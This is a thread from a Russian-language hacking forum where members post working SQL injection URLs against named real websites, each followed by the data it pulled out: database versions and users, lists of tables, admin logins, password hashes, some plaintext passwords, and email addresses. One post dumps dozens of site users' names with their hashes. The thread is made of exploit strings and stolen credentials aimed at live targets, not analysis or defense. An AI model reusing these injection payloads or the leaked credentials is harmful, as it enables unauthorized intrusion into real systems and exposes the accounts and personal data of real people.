SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Neovild

    Neovild Elder - Старейшина

    Joined:
    18 Dec 2007
    Messages:
    28
    Likes Received:
    22
    Reputations:
    0
    embs.ru
    HTML:
    http://www.embs.ru/web/index.php?razdel=2'+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6/*
    megamost_web@localhost:4.1.22-lk-log:megamost_web

    shark.ru
    HTML:
    http://www.shark.ru/catalog.php?rid=5+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7/*
    root@localhost:4.0.22-standard:sharkid
    таблица mysql.user
     
    6 people like this.
  2. 4Dfx

    4Dfx Banned

    Joined:
    6 Dec 2007
    Messages:
    12
    Likes Received:
    10
    Reputations:
    0
    www.housing.wisc.edu
    root : 1d7061767ec0f189

    http://brtinfo.ksn.ru/
    Code:
    admin : e9277b033bdfc26b6cdf2267b7014253   sealy : ad877328b782dfef7b2ba7b10e79eef3   Мелодия : 95f6870ff3dcd442254e334a9033d349   veronica : ab7743bc30fbdd14cf274a2ed03b9930   maria : a0369ff697bcc1611d339e39ad477c9a   alexandra : 8db412f08820292e59a6c10370631520   Русская Династия : 43b8ffbd3cd91b25151fa9c68097649b   Sasha : 45731940a11550b0612d12aafd5a6729   brtnata : 9d7484b81737d9918d1e308bfcfdf05f   Primadonna : 3c00ab9ee5f47c8afc7ab4fc62342ef4   Viktor : 7a98fc5c5287db862768d5e9e5380fef   bosfor : a29f03c4b066e2aadc9817adb35a0894   Доминика : 2116a1099b173a3d61601410b805b28b   lasthope : 4779957a36d1f7d927298f7707fb606d   ИСАЕВА : b6d1200efb7915b62916be4c8595c581   yablonka : ba1ac7252e8e07fe6aee121b2fcf4948   oksana : 2767ce1a4896448d1cd7c8b49bc89957   LenaP : a31a83e3eb0bc30c5e373ae45b532622   Наталия : 6bc5f38b8882c27245dd437c2e29ef5b   test : 098f6bcd4621d373cade4e832627b4f6   Nusha : 1ea652db4702208fa73035bb4c9a24b2   Kapitan : 0456afab2a3c87fe92961cf0bfe8ccde   Ясный Свет : 875ea2a56a80070fcf66d1fac123372b   sotsvetie : 88d18f7ba1e9c421f09f8bba1ea3f0bc   imperiara : e2dc73cf22fe3fa8d572eab643b978cf   Simba : 443dbe8d20bd36682ade77fc586fcc73   Radji : 0dcd048b8ebba0b46ae2d3130e00fe52   deidra : 6915849303a3fe93657587cb9c469f00   AFL : cb3da2f071a17a4e1bcc43619a5117e8   va-bank : bfa19440b71e53cad2ba1d99d4d97e54   Fanya : f4f068e71e0d87bf0ad51e6214ab84e9   Lays : f74909ace68e51891440e4da0b65a70c   Radomir : 77f20779238297b0e964329b9d7b6773   Julia : 14708b403d50ea76f2cd4bbf6f014717   Алена Максимова : 18d7b9cab3342ab05dc3e800f025f6e1   Katerinka : 1f3870be274f6c49b3e31a0c6728957f   ergan90 : 056f2a457f9eebba4bfe63a87c306acd   Knjajna : 47366718f5eb09ee06c492e8d1899943   Serafima : 2d805549d2ba121ee888858c2d87d65c   Brendascompany : 98c7242894844ecd6ec94af67ac8247d   Afonya : db33be7ccd422c041626f9f5d1f92f3a   LAK90 : 69ee947bf183128691ab444b40b892dd   Иштар : 997453931a4d571bcd990d075e3b6a0f   Ярославна : b8839793688791092202e805e0a4406d   dobrayavolya : 59f0891c050aa6139fb5189f47148ec4   arite : 766d3746cebb5b2c4b500c2432b2f843   sontheim : e10adc3949ba59abbe56e057f20f883e   dede : b38846b63f94a514881e6abe3c24a65b   IvanBG : 411147b363ecb44ab5bcb059dcbc77f9   artemchik : 85304e67de348d25787325d9dd74db9f   gorda : c4f7fd15ccc210b90ddff2ac3125d9bc   Самросс : c8ade10c1e16339c35e29e0a3c1321b5   trigubov : d0a6372c0c05714a1ba7f1c0739dbff5   Наталья : a5e4923c17aa0b0be39d630f68936495   alex-feigin : 4687b8298d476ec4582b52031c371373   tanyab : 766f0081408dd1691fc99860d9922c1b   Jevgeni : 5b0b9645d5aa5c2c4dc2dd93374522c2   Ray : 4d6ca74f63a97f16c17697d5a2b7679a   с.мышь : 5e6fb6bf8710de1cde956806367c0caf   IngaRepina : 3e53ca3d4e69bc938071715257cc62b9   tatiana1946 : 5b08658c3b7f45f74745f8fe59934e7d   Крисс : 3134c315b2e13325bf2edd30029a149a   Берегиня : 42e4cfee1d6c68bbeecc3ef6278dcb83   Теплые Звезды : 35243b5e4cffc34dd3ab13887ce8482b   uhhi : e0d724a043e6d40db562801a7d239a81   Elmar : 4de2f03eec858a0b1e75980aec5267c0   elpod123 : 059273779b2ffa92e46e85c25c2dc34b   elndim : 5e64f98e6f9d6ead51999389d5f3f77b   александр : ef58aa882272a9a14fd6af82432d3279   док : a984f36489d4987a1354ab1cba430a92   Anfisa : 1e3865c7c29235d7002d1bd727e0b3c2   Olga : 34660886ecff37ed7ef72fb3c7577b72   olkorn : 678101326aa0200ed440184ff62111ce
     
    #4262 4Dfx, 31 Dec 2007
    Last edited: 31 Dec 2007
  3. Ded MustD!e

    Ded MustD!e Banned

    Joined:
    23 Aug 2007
    Messages:
    392
    Likes Received:
    694
    Reputations:
    405
    http://www.reuniontv.re/

    Code:
    http://www.reuniontv.re/cocina_show.php?id=-1+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5/*
    Каймановы Острова:

    http://www.marshalls.ky/ 5 мускул

    Code:
    http://www.marshalls.ky/CaymanPage.php?ID=-1'+union+select+1,2,concat_ws(0x3a,user(),version(),database())/*
    http://www.latintours.ky/ нажимаем Ctrl+A

    Code:
    http://www.latintours.ky/packages.php?ID=-1+union+select+1,concat_ws(0x3a,user(),version(),database())/*
    http://www.purpledragon.ky/

    Code:
    http://www.purpledragon.ky/ContentPage.php?ID=-1+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5/*
     
    9 people like this.
  4. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    hct.ru

    http://www.hct.ru/new/index.php?main=main_news&id=-1+union+select+1,concat_ws(0x2F,version(),database(),user())/*

    5.0.41-log/hct/[email protected]


    http://www.hct.ru/new/index.php?main=main_news&id=-1+union+select+1,concat_ws(0x2F,name,password,email)+from+hct_admin_users+limit+0,1/*

    логин/хеш/мейл
    root/5d2e19393cc5ef67/[email protected]
     
    4 people like this.
  5. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    www.webkontora.net
    http://www.webkontora.net/online_strip_poker.php?poker=table0&section=-11+union+select+1,2,3,login,5,password,7+from+access+limit+0,1/*
    admin:rjntyjr
    де админка не знаю - там с любой несуществующей папки или файла идёт переадрисация на индекс
    ----------------------------------------------------------------------
    http://www.webkontora.org/?section=1100+union+select+1,table_name,3,4+from+information_schema.tables/*
    5.0.41-community
    ----------------------------------------------------------------------
    http://www.b2-projects.com/projects/?razdel=-1+union+select+1,2,3,table_name,5,6,7+from+information_schema.tables/*
    5.0.41-community
     
    4 people like this.
  6. ~EviL~

    ~EviL~ Elder - Старейшина

    Joined:
    14 Aug 2007
    Messages:
    169
    Likes Received:
    77
    Reputations:
    4
    www.dmsbg.com

    HTML:
    http://www.dmsbg.com/projects_details_actual.php?id=-32+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,concat(version(),0x3a,user(),0x3a,database())/*&start=0
    4.0.27-log: dmsbg@localhost: DMS
     
    1 person likes this.
  7. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    atlant.ws

    http://news.atlant.ws/?set=news&mc=readfull&do=-1+union+select+1,2,concat_ws(0x2F,version(),database(),user()),4,5,6,7,8/*

    5.0.45-log/atlantgr_news/atlantgr_atlantu@localhost


    Все таблицы, где есть столбец password
    http://news.atlant.ws/?set=news&mc=readfull&do=-1+union+select+1,2,concat(table_name,0x3b,table_schema),4,5,6,7,8+from+information_schema.columns+where+column_name=0x70617373776F7264+limit+0,1/*

    phpads_affiliates;atlantgr_adv
    pmd_admin;atlantgr_firms
    bb1_boards;atlantgr_forum
    bb1_users;atlantgr_forum
    dir_admins;atlantgr_top
    dir_editors;atlantgr_top


    http://news.atlant.ws/?set=news&mc=readfull&do=-1+union+select+1,2,concat_ws(0x2F,username,password,email),4,5,6,7,8+from+atlantgr_top.dir_admins+limit+0,1/*

    логин/хеш/мейл
    admin/e008382c27a5c1cfc5b95131ec55ebc7/[email protected]


    http://news.atlant.ws/?set=news&mc=readfull&do=-1+union+select+1,2,concat_ws(0x2F,username,password,email,icq),4,5,6,7,8+from+atlantgr_forum.bb1_users+limit+0,1/*

    логин/хеш/мейл/уин
    Atlant Group/e008382c27a5c1cfc5b95131ec55ebc7/[email protected]/0
     
    2 people like this.
  8. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    4women.ru сайт знакомств


    http://www.4women.ru/news/index.php?id=-1+union+select+1,2,concat_ws(0x2F,version(),database(),user()),4,5/*
    5.0.41-Dotdeb_1.dotdeb.1-log/bob69_love/borey@localhost


    http://www.4women.ru/news/index.php?id=-1+union+select+1,2,3,4,concat_ws(0x2F,name,passw,email)+from+bob69_love.love_ankets/*

    логин/пароль/мейл ОЧЕНЬ много юзеров ))
    Autor_test/magirus/[email protected]
     
    2 people like this.
  9. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    5.0.41-community
    ----------------------------------------------------------------------
    admin
    bobak:290772
     
  10. ~EviL~

    ~EviL~ Elder - Старейшина

    Joined:
    14 Aug 2007
    Messages:
    169
    Likes Received:
    77
    Reputations:
    4
    Abv.bg - самый крупный почтовый портал Болгарии

    У меня, собственно, поддомен:
    http://poveche.abv.bg/

    HTML:
    http://poveche.abv.bg/kauza.php?id=-1+UNION+SELECT+1,2,3,4,concat(version(),0x3a,user(),0x3a,database()),6,7,8,9,10/*&kauza=deca&type=1
    4.0.27-log: poveche@localhost: bcaf

    HTML:
    http://poveche.abv.bg/kauza.php?id=-1+UNION+SELECT+1,2,3,4,concat(id,0x3a,username,0x3a,password),6,7,8,9,10+FROM+admins/*&kauza=deca&type=1
    1: puhie: puhie05
    2: bcaf: 11343910


    Админка:
    http://www.poveche.net/admin/login.php

    С наступающим Новом Годом всех! :)
     
    2 people like this.
  11. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    ipodhacks.com

    Тому, кто узнает что это за хэш - +мах x2 :)

    Таблицы все те же что и в postnuke, хоть двиг немного и переписанный)
     
    #4271 n0ne, 31 Dec 2007
    Last edited: 31 Dec 2007
    2 people like this.
  12. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Code:
    http://www.ipodhacks.com/article.php?sid=-2456+union+select+1,2,3,4,concat_ws(0x3a,uname,pass),6,7,8,9,10,11+from+nuke_users+limit+2,1
    --->Тому, кто узнает что это за хэш
    Не совсем понял что ты имел ввиду. Что за хеш? DES

    blakespot:i3ecrwMoAq/xc:narnia
     
    #4272 Grey, 31 Dec 2007
    Last edited: 31 Dec 2007
    10 people like this.
  13. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    ico.brush.ru

    http://ico.brush.ru/?cl=-1+union+select+1,concat_ws(0x2F,version(),database(),user()),3,4,5,6,7,8,9/*

    5.1.11-beta/brush/brush@localhost

    Таблицы, где есть столбец password
    http://ico.brush.ru/?cl=-1+union+select+1,concat(table_schema,0x3b,table_name),3,4,5,6,7,8,9+from+information_schema.columns+where+column_name='password'+limit+18,1/*

    alarms;shop_user
    bkcbb;ashprojects_users
    calibri;users
    calibri;users_news
    kapitalist;kapitalist_user
    luna;admin
    mantis;mantis_user_table
    mugen;pro_user
    mysql;user
    nippon;LUM_User
    portativ;shop_user
    smsina;pro_user
    smsina;users
    smsina2;pro_user
    spbauto;Member
    spbauto;pandora_users
    starz;mantis_user_table
    tvoipolis;pro_user


    http://ico.brush.ru/?cl=-1+union+select+1,concat_ws(0x2F,user,password),3,4,5,6,7,8,9+from+mysql.user/*

    root/*E372920927493C3BCEA6654A14218A59970A3D11



    http://ico.brush.ru/?cl=-1+union+select+1,concat_ws(0x2F,login,password),3,4,5,6,7,8,9+from+luna.admin/*

    логин/пароль
    123alf/123alf


    http://ico.brush.ru/?cl=-1+union+select+1,concat_ws(0x2F,name,password,email),3,4,5,6,7,8,9+from+nippon.LUM_User/*

    имя/хеш/мейл
    Andrey/0134baf25d72d0bdca3d0d1b75e548c1/[email protected]
     
    4 people like this.
  14. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    не подходят ((( да и вход какойто идиотский пасс и логин через ГЕТ идут
    в http://www.avtoclub-ukr.com/admin/ мас не идёт ((
     
    2 people like this.
  15. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    не подходят ((( да и вход какойто идиотский пасс и логин через ГЕТ идут
    ----------------------------------------------------------------------
    5-ая
    всё слишком запутано и щас сил нету искать ничо .. вот !
     
    2 people like this.
  16. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    petrovax.ru

    http://www.petrovax.ru/news.php?cat=news&news_id=-1+union+select+1,2,3,4,concat_ws(0x2F,version(),database(),user()),6,7,8,9/*

    5.0.45-log/u19982/[email protected]


    http://www.petrovax.ru/news.php?cat=news&news_id=-1+union+select+1,2,3,4,concat_ws(0x2F,username,user_password,user_email,user_icq),6,7,8,9+from+phpbbpoly_users+limit+1,1/*

    логин/хеш/мейл/уин
    jstudio/eb43619b759fe3f50043ed138306490a/[email protected]/
     
    4 people like this.
  17. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    http://www.trapeza.ru

    http://www.trapeza.ru
    http://www.trapeza.ru/news/?news=-325+union+select+1,concat(username,char(58),userpass),3,4,5,6,7,8+from+poll_user/*

    login/hash/password

    admin:d9d1b168eac8f197e0576b56cfc23ece:gfhjkm
     
    1 person likes this.
  18. ~EviL~

    ~EviL~ Elder - Старейшина

    Joined:
    14 Aug 2007
    Messages:
    169
    Likes Received:
    77
    Reputations:
    4
    Вот, добрался до клавиатуры, и теперь исполню свой долг:

    www.cult.bg

    HTML:
    http://www.cult.bg/ind_dotCult_full.php?id=-68+UNION+SELECT+1,2,concat(version(),0x3a,user(),0x3a,database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*&PHPSESSID=b709562
    4.1.22-log:root@localhost:cult
    HTML:
    http://www.cult.bg/ind_dotCult_full.php?id=-68+UNION+SELECT+1,2,concat(user,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+FROM+users+LIMIT+0,1/*&PHPSESSID=b709562
    Hacko:breathe
    ...

    HTML:
    http://www.cult.bg/ind_dotCult_full.php?id=-68+UNION+SELECT+1,2,concat(user,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+FROM+mysql.user+LIMIT+0,1/*&PHPSESSID=b709562
    root:2fcd4de51aebc612::hq444

    Ну что, еще раз с Новым 2008 Годом, всем успехов, радости, удачи, и пейте меньше! :D
     
    1 person likes this.
  19. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    Помогите, плз.
    Я начинающий с скулями, тока количество полей подобрал а дальше чет неидет
    http://natasha-fahim.com/project_en.php?id_product=-1+union+select+1,2,3,4,5,6,7,8/*
     
  20. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    пассы хз в какой кодировке
    Code:
    http://www.thesimszone.co.uk/extras/index.php?ID=-85+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9+from+SiteLogins+limit+0,1/*
    Code:
    http://server47.dedicatedusa.com/~pamco/news2.php?id=-43+union+select+1,2,3,4,concat(username,0x3a,password),6,7+from+admins/*
    Code:
    http://uktheatreschool.com/content/news2.php?id=-93+union+select+1,2+from+users/*
     
    #4280 SWAT, 2 Jan 2008
    Last edited: 2 Jan 2008
    4 people like this.
Thread Status:
Not open for further replies.